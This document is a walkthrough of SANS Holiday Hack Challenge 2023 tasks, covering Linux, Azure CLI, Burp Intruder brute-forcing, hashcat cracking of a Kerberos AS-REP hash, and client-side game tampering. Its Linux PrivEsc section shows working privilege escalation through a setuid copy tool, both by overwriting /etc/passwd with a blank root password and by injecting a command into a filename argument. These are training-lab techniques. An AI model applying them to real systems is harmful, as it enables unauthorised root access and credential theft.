SANS Holiday Hack Challenge 2023

This is a walk-through for some challenges of the SANS Holiday Hack Challenge 2023.

This year, Santa and the elves have moved to an island archipelago near the equator in the Pacific Ocean. On these Geese Islands, Santa’s team is using a new Artificial Intelligence tool called ChatNPT to prepare for the annual gift-giving extravaganza. The elves need your help in making sure that they apply ChatNPT appropriately. To that end, we recommend that you set up and use your own free account in OpenAI’s ChatGPT, Google’s Bard, or Microsoft’s Bing AI tools to help you solve challenges while learning vital cybersecurity lessons.

Useful Links

Challenges

IslandDockChallenges & Treasures
Christmas IslandOrientationHoliday Hack Orientation
Frosty’s BeachSnowball Fight
Linux 101, Santa’s Surf Shack
Rudolf’s RestReportinator
Azure 101
Also visit the Resort Lobby
Island of Misfit ToysScaredy-Kite HeightsHashcat
Linux PrivEsc, Ostrich Saloon
Squarewheel YardBONUS! Fishing Guide
Tarnished TroveTreasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol1
Film Noir Island?
?
The Blacklight DistrictPhish Detection Agency
Pixel IslandRainraster CliffsElf Hunt
Certificate SSHenanigans
Driftbit GrottoItem: Game Boy Cartrige Detector
Treasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! Vol2
Steampunk IslandBrass Bouy PortFaster Lock Combination
The Captain’s Comms
Coggoggle Marina
Rusty QuayTreasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol3
Space IslandSpaceport PointSpace Island Door Access Speaker
Cape Cosmic
?
Challenges

Christmas Island

Holiday Hack Orientation

Difficulty: 1/5, Dock: Orientation

Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands

💡 To navigate your ship, use keyboard arrows or WASD. Press and hold spacebar to deploy the anchor brake.

  • Navigate your ship to the Orientation Dock.
  • Click on Dock Now beside the Christmas Island: Orientation.
  • Click on Jingle Ringford to talk to him. Click on him many times to get the full instructions.
  • Click on the fishing pole then again on Jingle Ringford.
  • Click on the Cranberry pie terminal. Click on the upper pan of the terminal and enter “answer”.
  • Click on Jingle Ringford to complete this objective.

Go back to your boat, click on the anchor and sail to Frosty’s Beach. Click on Santa.

Snowball Fight

Difficulty: 2/5, Dock: Frosty’s Beach

Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!

  • Talk with Marcel Nougat. Marcel hints us as finding a way to play solo with client side variables or parameters, and also to make the elves’ snowballs do no damage and all kinds of other shenanigans. There is also a hint about selecting the right context when using iframes.
  • Click on Snowball Hero.

Right-click on the page and click Inspect. The game is embedded within an iframe:

<iframe title="challenge" src="https://hhc23-snowball.holidayhackchallenge.com?&challenge=snowballhero&username=<USERNAME>&id=04e6cabc-138c-49d1-9ba9-1de2d674d024&area=ci-frostysbeach&location=28,13&tokens=&dna=ATATATTAATATATATATATTAGCATATATATTATAGCTAATATATATATATTATAATATATATATATGCATATATTAGCATATATATATATTAGCATATATATATATTAATATATTAAT"></iframe>

Playing solo

  • Copy the URL from the iframe and open it in a new browser tab.
  • Chose mode “VS SANTA” and click “2. CREATE PRIVATE ROOM”.
  • New parameters will be added to the URL. Edit the URL to change “singlePlayer=false” to “singlePlayer=true”.
  • Replace the URL in the iframe with this new URL. You need to be within the iframe to complete the objective.
https://hhc23-snowball.holidayhackchallenge.com/room/?username=<USERNAME>&roomId=1e9b8451&roomType=private&gameType=co-op&id=04e6cabc-138c-49d1-9ba9-1de2d674d024&dna=ATATATTAATATATATATATTAGCATATATATTATAGCTAATATATATATATTATAATATATATATATGCATATATTAGCATATATATATATTAGCATATATATATATTAATATATTAAT&singlePlayer=true

Winning the game

Click on Ready. You can stay behind your dwarf ally until Santa arrives. It is possible to win the game solo.

If you want to make changes to the JavaScript file phaser.min.js (with Google Chrome):

  • Right-click on the page and click Inspect.
  • Click on the Sources tab within the Dev Tools.
  • Locate phaser.min.js under room.
  • Right-click on phaser.min.js and select Override content. Choose any folder.
  • Open a new tab and go to “chrome://version//inspect/#device”.
  • Click Allow to allow Chrome to access the folder.

When you are victorious, go talk to Morcel Nougat again.

Linux 101

Difficulty 1/5, Dock: Frosty’s Beach, Santa’s Surf Shack.

Visit Ginger Breddie in Santa’s Shack on Christmas Island to help him with some basic Linux tasks. It’s in the southwest corner of Frosty’s Beach.

  • Click on Santa’s Surf Shack.
  • Talk with Ginger Breddie.
  • Click on the cranberry pie terminal Linux 101.

The North Pole 🎁 Present Maker:
All the presents on this system have been stolen by trolls. Capture trolls by following instructions here and 🎁’s will appear in the green bar below. Run the command “hintme” to receive a hint.

# Type "yes" to begin:
yes
# Perform a directory listing of your home directory to find a troll and retrieve a present!
ls
HELP  troll_19315479765589239  workshop
# Now find the troll inside the troll.
grep troll troll_19315479765589239
troll_24187022596776786
# Great, now remove the troll in your home directory.
rm troll_19315479765589239
# Print the present working directory using a command.
pwd
/home/elf
# Good job but it looks like another troll hid itself in your home directory. Find the hidden troll!
ls -la
.troll_5074624024543078
# Excellent, now find the troll in your command history.
history
# Find the troll in your environment variables.
export
# Next, head into the workshop.
cd workshop
# A troll is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the troll is in.
grep -Ri troll ./
./toolbox_191.txt:tRoLl.4056180441832623
# A troll is blocking the present_engine from starting. Run the present_engine binary to retrieve this troll.
chmod u+x present_engine
./present_engine
# Trolls have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.
cd /home/elf/workshop/electrical
mv blown_fuse0 fuse0
# Now, make a symbolic link (symlink) named fuse1 that points to fuse0
ln -s fuse0 fuse1
# Make a copy of fuse1 named fuse2.
cp fuse1 fuse2
# We need to make sure trolls don't come back. Add the characters "TROLL_REPELLENT" into the file fuse2.
echo TROLL_REPELLENT >> fuse2
# Find the troll somewhere in /opt/troll_den.
find /opt/troll_den -iname troll*
# Find the file somewhere in /opt/troll_den that is owned by the user troll.
find /opt/troll_den -user troll
# Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.
find /opt/troll_den -size +108
# List running processes to find another troll.
ps -ef
# The 14516_troll process is listening on a TCP port. Use a command to have the only listening port display to the screen.
netstat -antp
# The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last troll.
curl "http://127.0.0.1:54321"
# Your final task is to stop the 14516_troll process to collect the remaining presents.
kill 29175
# Type "exit" to close…
exit

Talk to Ginger Breddie. Go back to your boat, click on the anchor and sail to Rudolph’s Rest.

Reportinator

Difficulty: 2/5, Dock: Rudolf’s Rest

Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.

Talk with Noel Boetie.

I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.

Inspect requests using Burp Suite. Submit the report and send the request to the Intruder module. Try all possible combinations of 9 variables with 0 or 1 (2^9 = 512) using Burp’s Intruder module. Use attack type Cluster bomb. For each payload, use simple list of “0” and “1”.

POST /check HTTP/2
Host: hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com
[...]

input-1=§1§&input-2=§0§&input-3=§0§&input-4=§0§&input-5=§0§&input-6=§0§&input-7=§0§&input-8=§0§&input-9=§0§

We find that this payload is successful.

POST /check HTTP/2
Host: hhc23-reportinator-dot-holidayhack2023.ue.r.appspot.com
[...]

input-1=0&input-2=0&input-3=1&input-4=0&input-5=0&input-6=1&input-7=0&input-8=0&input-9=1
HTTP/2 200 OK
Content-Type: application/json
Vary: Accept-Encoding
Vary: Cookie
X-Cloud-Trace-Context: a28ae217d9dfcfa1cbb39d53dc4738ff;o=1
Date: Mon, 11 Dec 2023 16:33:01 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 128
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"hash":"6b76ce3163d721756b73a248386e7c8503e5b3f84c558184626214e6198a45d7","resourceId":"1d7107cf-32fd-4c07-b030-5183fabead5e"}

Input 3, 6 and 9 are false positives.

1. Vulnerable Active Directory Certificate Service-Certificate Template Allows Group/User Privilege EscalationLegitimate finding
2. SQL Injection Vulnerability in Java ApplicationLegitimate finding
3. Remote Code Execution via Java Deserialization of Stored Database ObjectsFalse positive
4. Azure Function Application-SSH Configuration Key Signing Vulnerable to Principal ManipulationLegitimate finding
5. Azure Key Vault-Overly Permissive Access from Azure Virtual Machine Metadata Service/Managed IdentityLegitimate finding
6. Stored Cross-Site Scripting VulnerabilitiesFalse positive
7. Browsable Directory StructureLegitimate finding
8. Deprecated Version of PHP Scripting LanguageLegitimate finding
9. Internal IP Address DisclosureFalse positive
Penetration test report

Azure 101

Difficulty: 2/5, Dock: Rudolf’s Rest

Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.

Talk with Sparkle Redberry.

Alabaster sent us this Azure CLI reference as well. It’s super handy, he said. Honestly, it just confuses me even more.

Click on the Azure 101 cranberry pie terminal.

#You may not know this but the Azure cli help messages are very easy to access. First, try typing: az help | less
az help
# Next, you've already been configured with credentials.
# Use 'az' and your 'account' to 'show' your current details and make sure to pipe
# to less ( | less )
az account show
elf@f634d875932b:~$ az account show
{
  "environmentName": "AzureCloud",
  "id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
  "isDefault": true,
  "name": "northpole-sub",
  "state": "Enabled",
  "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
  "user": {
    "name": "northpole@northpole.invalid",
    "type": "user"
  }
}
# Excellent! Now get a list of resource groups in Azure.
# For more information:
# https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest
az group list
# Ok, now use one of the resource groups to get a list of function apps.
# For more information:
# https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest
# Note: Some of the information returned from this command relates to other cloud
# assets used by Santa and his elves.
az functionapp list --resource-group northpole-rg1
# Find a way to list the only VM in one of the resource groups you have access to.
# For more information:
# https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest
az vm list --resource-group northpole-rg2
# Find a way to invoke a run-command against the only Virtual Machine (VM) 
# so you can RunShellScript and get a directory listing to reveal a file on the
# Azure VM.
# For more information:
# https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke
az vm run-command invoke -n NP-VM1 --resource-group northpole-rg2 --command-id RunShellScript --scripts "ls -la"
Great, you did it all!

Talk with Sparkle Redberry.

That Azure Function App URL you came across in the terminal looked interesting.

Sparkle Redberry

This unlocks the Certificate SSHenanigans challenge (Difficulty: 5/5) on Pixel Island.

Resort Lobby

Dock: Rudolf’s Rest

Go to the resort’s lobby. Talk with Pepper Minstix.

After you complete all the challenges, come back here for a surprise!

Pepper Minstix

Island of Misfit Toys

Hashcat

Difficulty: 2/5, Dock: Scaredy-Kite Heights

Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!

Talk with Eve Snowshoes.

Our dear Alabaster forgot his password. He’s been racking his jingle bells of memory with no luck.

[…] So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?

Click on the Hashcat cranberry pie terminal.

Hidden deep in the snow is a kerberos token,
Its type and form, in whispers, spoken.
From reindeers’ leaps to the elfish toast,
Might the secret be in an ASREP roast?

hashcat, your reindeer, so spry and true,
Will leap through hashes, bringing answers to you.
But heed this advice to temper your pace,
-w 1 -u 1 --kernel-accel 1 --kernel-loops 1, just in case.

[…]

Determine the hash type in hash.txt and perform a wordlist cracking attempt to find which password is correct and submit it to /bin/runtoanswer

From the description, the hash was obtained using the AS-REP Roasting technique. This is hash type 18200 in Hashcat.

hashcat --help | grep -i as-rep
  18200 | Kerberos 5 AS-REP etype 23                       | Network Protocols

In the home directory, there is a file hash.txt and password_list.txt. Add the –force option or you will get an error message “The manual use of the -n option (or –kernel-accel) is outdated.”.

hashcat -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force -m 18200 -a 0 hash.txt password_list.txt

Show results.

hashcat -m 18200 hash.txt --show
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!

Submit password “IluvC4ndyC4nes!”.

/bin/runtoanswer "IluvC4ndyC4nes!"

Talk to Eve Snowshoes.

Linux PrivEsc

Difficulty: 3/5, Dock: Scaredy-Kite Heights, Ostrich Saloon

Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.

Go to the Ostrich Saloon and talk with Rose Mold.

[…] Do you know much about privilege escalation techniques on Linux?

You’re asking why? How about I’ll tell you why after you help me.

And you might have to use that big brain of yours to get creative, bub.

Click on the Linux PrivESC cranberry pie terminal.

Find a method to escalate privileges inside this terminal and then run the binary in /root

Do enumeration for privilege escalation. Look for binaries that AutoElevate.

find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy

We find interesting binary “simplecopy”.

ls -la /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec  2 22:17 /usr/bin/simplecopy

Option 1: simplecopy and /etc/passwd

Try copying a file owned by “elf” and see what permissions look like on the new file.

/usr/bin/simplecopy /home/elf/.profile /home/elf/test
ls -la /home/elf/test
-rw-r--r-- 1 root root 807 Dec 13 22:08 test

We can replace the /etc/passwd file with our own.

cp /etc/passwd /home/elf/newpasswd

Remove the ‘x’ or ‘*’ value at the place of root password. The ‘x’ value in the /etc/passwd file indicates that the actual password hash is stored in the /etc/shadow file (or a similar location), rather than in the /etc/passwd file itself. If you remove the ‘x’ value and replace it with something else or leave it blank, the root user’s password will no longer be stored securely and the system won’t be able to authenticate the root user using the stored password hash from the /etc/shadow file.

Keep the root password blank and save the /etc/passwd file.

sed 's/root:x:/root::/' /etc/passwd > /home/elf/newpasswd
/usr/bin/simplecopy /home/elf/newpasswd /etc/passwd
su -
cd /root
./runmetoanswer

There is something wrong with your environment; the most likely reason is that
the RESOURCE_ID environmental variable is missing – that can happen if you’re using sudo
or su or some other process that alters the environment. If this persists, please
ask for help!

Check environment variable RESOURCE_ID when logged as “elf”:

export
declare -x RESOURCE_ID="f2e3e797-c797-447d-8a34-bb71b96b7357"

Set this environment variable when connected as root:

export RESOURCE_ID="f2e3e797-c797-447d-8a34-bb71b96b7357"
./runmetoanswer
Who delivers Christmas presents?
[santa]

This program asks for an answer. Try to find the answer within the binary.

strings runmetoanswer
[...]
Checking...Your answer: Or enter it when prompted.
    ./runtoanswer "YourAnswerGoesHere"
[...]

The answer can be submitted as an argument.

./runmetoanswer santa
Your answer: santa

Checking....
Your answer is correct!

Option 2: simplecopy command injection

There is a command injection in simplecopy.

/usr/bin/simplecopy /home/elf/.profile "/home/elf/test; ls -la /root"
total 620
drwx------ 1 root root   4096 Dec  2 22:17 .
drwxr-xr-x 1 root root   4096 Dec 14 13:14 ..
-rw-r--r-- 1 root root   3106 Dec  5  2019 .bashrc
-rw-r--r-- 1 root root    161 Dec  5  2019 .profile
-rws------ 1 root root 612560 Nov  9 21:29 runmetoanswer

Execute the binary.

/usr/bin/simplecopy /home/elf/.profile "/home/elf/test; /root/runmetoanswer"

Go talk with Rose Mold.

To answer your question of why from earlier… Nunya!

[…]

There’s a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.

The area is supposed to have something on it that’s totes worth, but I hear all the bad vibe toys chill there.

BONUS! Fishing Guide

Difficulty: 1/5, Dock: Squarewheel Yard

Go talk with Poinsettia McMittens. This will unlock objective BONUS! Fishing Guide.

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

Perhaps there are some clues about the local aquatic life located in the HTML source code.

Hint “Become the Fish”

Right-click on the page and click Inspect. There is a comment about fish.

[...]
<!-- <a href='fishdensityref.html'>[DEV ONLY] Fish Density Reference</a> -->
[...]

By looking at the Source tab, we find a /sea directory. Access the fish density reference at:
https://2023.holidayhackchallenge.com/sea/fishdensityref.html

Extract all fish names from https://2023.holidayhackchallenge.com/sea/fishdensityref.html.

wget https://2023.holidayhackchallenge.com/sea/fishdensityref.html
grep h3 fishdensityref.html | cut -d ">" -f2 | cut -d "<" -f1 > fishes.txt

There are 171 fishes. For each fish, the image is a heatmap of its location. We can see that the “Piscis Cyberneticus Skodo” is located at a very specific location. Replace the minimap.png file in https://2023.holidayhackchallenge.com/sea/js/client.js with the heatmap to find each fish. You need to reload the page after the change.

const ImageAssets = {
[...]
    minimap: 'assets/minimap.png',
[...]
};
const ImageAssets = {
[...]
    minimap: 'assets/noise/Piscis Cyberneticus Skodo.png',
[...]
};

To check you progress, in the DevTools -> Console tab, select the “sea/” frame and enter:

playerData.fishCaught

To check for a specific fish name:

playerData.fishCaught.some(fish => fish.name === 'Piscis Cyberneticus Skodo');

You can also automate the fishing using JavaScript:

async function fishing() {
    castReelBtn.click(); // Click to cast the reel

    // Wait until the "Reel it in!" button changes color
    while (window.getComputedStyle(reelItInBtn).color === 'rgb(66, 40, 0)') {
        await new Promise(resolve => setTimeout(resolve, 100));
    }

    reelItInBtn.click(); // Click to reel in the fish
    await new Promise(resolve => setTimeout(resolve, 1000));
    closeFeeshBtn.click(); // Click to close the Pescadex
    console.log(playerData.fishCaught.length); // Display number of fishes
}

async function automateFishing(repeat) {
    for (let i = 0; i < repeat; i++) {
        await fishing();
        console.log(`Fishing iteration ${i + 1} completed.`);
        await new Promise(resolve => setTimeout(resolve, 1000));
    }

    console.log('Fishing completed.');
}
automateFishing(100); // Fishing 100 times

Move your ship to other locations (check the heatmaps) and repeat the automateFishing call to catch new fishes.

When you have all fishes (171), go to the Island of Misfit Toys – North-East of the island. Dock at Squarewheel Yard. Go talk with Poinsettia McMittens.

Treasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol1

Dock: Tarnished Trove

Go back to your boat and find the other dock on the Island of Misfit Toys – South of the island. Dock at Tarnished Trove.

There are 3 buried treasures in total, each in its own uncharted area around Geese Islands. Use the gameboy cartridge detector and listen for the sound it makes when treasure is nearby, which gets louder the closer you are. Also look for some kind of distinguishing mark or feature, which could mark the treasure’s location.

Dusty Giftwrap

There is a hat on the Island. Find it and you will get the item Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol1. Go talk to Dusty Giftwrap again.

Pixel Island

Talk to Alabaster Snowball. He says to go to Steampunk Island.

Treasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! Vol2

Dock: Driftbit Grotto

There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.

[…] If you find the treasure, come back and show me, and I’ll tell you what I was able to research about it.

Tinsel Upatree

Go talk to Tinsel Upatree when you find it.

Steampunk Island

Faster Lock Combination

Difficulty: 2/5, Dock: Brass Bouy Port

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Talk to Bow Ninecandle.

[…] I’m sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush… I mean fuss. […]

Bow Ninecandle

Click on Fast Lock to start the challenge. Open the DevTools. Inspect the code of the iframe. There is JavaScript code.

<script>
[...]
    function moveLockIntoUnlockedPosition() {
[...]
                    onComplete: function () {
                      checkit()
                    }
[...]
    function checkit() {
      // Function to get the query parameter by name
      function getQueryParam(param) {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get(param);
      }

 [...]
  </script>
  • Click on the Console tab. Select the paddlelockdecode frame.
  • Call the checkit function to complete the challenge.
checkit()

Talk to Bow Ninecandle again.

Treasure: Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol3

Dock: Rusty Quay

[…] Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it’s protected by this rusted maze. […]

Angel Candysalt

At the top of the maze, there is a treasure. Go in your browser’s settings and zoom out to see the whole maze and find the item. Enter by the 2nd path on the top right. You will find Elf the Dwarf’s, Gloriously, Unfinished, Adventure! – Vol3. When you found it, go talk to Angel Candysalt again.

Rainraster Cliffs

Dock: Rainraster Cliffs

Can you go and check on Alabaster Snowball for me? He’s at Rainraster Cliffs on Pixel Island. I heard some rumors he’s been experimenting with ChatNPT again and I’m a little worried about what he’s cooking up.

Ribb Bonbowford